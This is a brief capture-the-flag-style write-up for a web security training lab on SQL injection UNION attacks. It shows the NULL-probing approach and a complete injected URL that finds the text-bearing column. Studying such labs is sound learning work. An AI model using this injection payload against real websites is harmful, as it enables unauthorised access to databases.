Lab: SQL injection UNION attack, finding a column containing text

just try NULL Technique until you found that there are three columns and the second column is to retrieve string data
https://[ID].web-security-academy.net/filter?category=Gifts' UNION SELECT 123,'yNa66k',NULL--

PreviousLab: SQL injection UNION attack, determining the number of columns returned by the queryNextLab: SQL injection UNION attack, retrieving data from other tables
Last updated